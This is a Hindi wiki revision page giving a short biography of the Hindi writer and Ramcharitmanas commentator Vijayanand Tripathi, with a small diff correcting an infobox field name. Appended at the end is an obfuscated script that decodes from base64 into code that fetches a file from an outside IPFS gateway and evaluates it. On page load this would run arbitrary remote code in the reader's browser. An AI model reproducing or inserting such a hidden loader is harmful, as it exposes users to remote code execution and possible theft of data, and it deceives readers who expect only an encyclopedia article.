विजयानन्द त्रिपाठी: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
m (Text replace - "अविभावक" to "अभिभावक")
 
Line 8: Line 8:
|मृत्यु=[[16 मार्च]], [[1955]]
|मृत्यु=[[16 मार्च]], [[1955]]
|मृत्यु स्थान=
|मृत्यु स्थान=
|अविभावक=
|अभिभावक=
|पालक माता-पिता=
|पालक माता-पिता=
|पति/पत्नी=
|पति/पत्नी=

Latest revision as of 05:04, 29 May 2015

विजयानन्द त्रिपाठी
पूरा नाम विजयानन्द त्रिपाठी
जन्म 1881 ई.
जन्म भूमि काशी, उत्तर प्रदेश
मृत्यु 16 मार्च, 1955
कर्म-क्षेत्र लेखन, सम्पादन
मुख्य रचनाएँ विजया टीका
पुरस्कार-उपाधि मानसहरेजा
नागरिकता भारतीय
अन्य जानकारी विजयानन्द त्रिपाठी ने 'संमार्ग' पत्र का सम्पादन उस समय किया, जब स्वामी करपात्री महाराज ने 'धर्मसंघ' नामक संस्था स्थापित की।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

विजयानन्द त्रिपाठी (जन्म- 1881, काशी, उत्तर प्रदेश; मृत्यु- 16 मार्च, 1955) ने हिन्दी साहित्य में महत्त्वपूर्ण योगदान दिया था। इन्होंने 'तुलसी साहित्य' और 'रामचरितमानस' का गहन अध्ययन किया था।[1]

संक्षिप्त परिचय

  • सन 1881 में विजयानन्द त्रिपाठी का जन्म 'विजयादशमी' के दिन काशी (वर्तमान बनारस) में हुआ था।
  • फ़्राँसीसी विद्वान नि. एलन डेला ने अंग्रेज़ी में लिखी पुस्तक में विजयनन्द त्रिपाठी की भूरि-भूरि प्रशंसा की है।
  • विजयानन्द द्वारा लिखी गई 'विजया टीका' हिन्दी साहित्य की अमूल्य गौरव निधि है।
  • ‘मानसहरेजा' की सम्मानीय उपाधि से विजयानन्द जी को सम्मानित किया गया था।
  • विजयानन्द त्रिपाठी ने 'संमार्ग' पत्र का सम्पादन उस समय किया, जब स्वामी करपात्री महाराज ने 'धर्मसंघ' नामक संस्था स्थापित की।
  • 'हिन्दू कोड विल' और गौ हत्या का अत्यंत सशक्त शैली में डटकर विरोध विजयानन्द त्रिपाठी ने किया था।
  • इन्होंने योगत्रयानन्द शिवराम किंकर नामक बंगाली महात्मा से योगविद्या ग्रहण की थी।
  • विजयानन्द त्रिपाठी का निधन 16 मार्च, सन 1955 में हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. काशी के साहित्यकार (हिन्दी)। । अभिगमन तिथि: 11 जनवरी, 2014।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>